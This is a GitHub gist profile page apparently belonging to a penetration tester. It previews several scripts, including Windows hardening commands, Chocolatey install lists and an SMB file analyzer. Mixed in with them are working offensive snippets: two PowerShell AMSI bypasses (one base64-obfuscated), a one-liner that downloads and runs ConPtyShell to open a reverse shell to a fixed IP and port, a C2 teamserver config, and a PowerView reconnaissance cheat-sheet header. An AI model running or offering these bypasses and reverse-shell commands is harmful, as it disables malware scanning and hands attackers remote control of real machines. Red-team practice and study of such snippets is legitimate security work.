Skip to content

Instantly share code, notes, and snippets.

View michiiii's full-sized avatar

Michael Ritter michiiii

View GitHub Profile
#!/usr/bin/env python3
"""
Enhanced Sensitive Files Analyzer
A tool for categorizing and analyzing file types from aiosmb from smbscans.
"""
import re
import os
import argparse
import sys
@michiiii
michiiii / windows_hardening.cmd
Created June 3, 2025 15:01 — forked from ricardojba/windows_hardening.cmd
A Windows hardening script
::##########################################################################################################################
::
:: This script can ruin your day, if you run it without fully understanding what it does, you don't know what you are doing,
::
:: OR BOTH!!!
::
:: YOU HAVE BEEN WARNED!!!!!!!!!!
::
:: This script is provided "AS IS" with no warranties, and confers no rights.
:: Feel free to challenge me, disagree with me, or tell me I'm completely nuts in the comments section,
#!/bin/bash
# This script configures a Debian VM for Ansible use
# It is run as root
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEAkzDLaG3YMR2wpd6zcPUZ/3AXPGOGI5UyyEC25vQBr xps
set -e # Exit immediate ly if a command exits with a non-zero status
set -u # Treat unset variables as an error
set -o pipefail # Prevent errors in a pipeline from being masked
# Define the Ansible public key
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
$a64 = 'UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA=='
$a = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String($a64))
$b64 = 'YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='
$b = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String($b64))
[Ref].Assembly.GetType($a).GetField($b,'NonPublic,Static').SetValue($null,$true)
# new technique that works on Windows 11
$ZQCUW = @"
choco feature enable -n allowGlobalConfirmation
choco install -y 7zip
choco install -y firefox
choco install -y foxitreader
choco install -y vcredist140
choco install -y git
choco install -y sysinternals
choco install -y microsoft-windows-terminal
choco install -y wireshark
choco install -y notepadplusplus
@michiiii
michiiii / Harden.ps1
Created February 25, 2023 23:13 — forked from hanfil/Harden.ps1
# Enable Windows Firewall
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
# SMB # require elevated privileges #
## Turn on SMB signing and encryption
Set-SmbServerConfiguration -RequireSecuritySignature $True -EnableSecuritySignature $True -EncryptData $True -Confirm:$false -Verbose
## Turn off the default workstations shares
Set-SmbServerConfiguration -AutoShareWorkstation $False -Confirm:$false -Verbose
ECHO Configure chocolatey
choco feature enable -n allowGlobalConfirmation
choco install -y 7zip
choco install -y treesizefree
choco install -y firefox
choco install -y foxitreader
choco install -y vlc
choco install -y vcredist140
choco install -y vscode
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 192.168.178.149 -RemotePort 8080 -Rows 43 -Cols 237
@michiiii
michiiii / PowerView-3.0-tricks.ps1
Created November 23, 2021 13:29 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set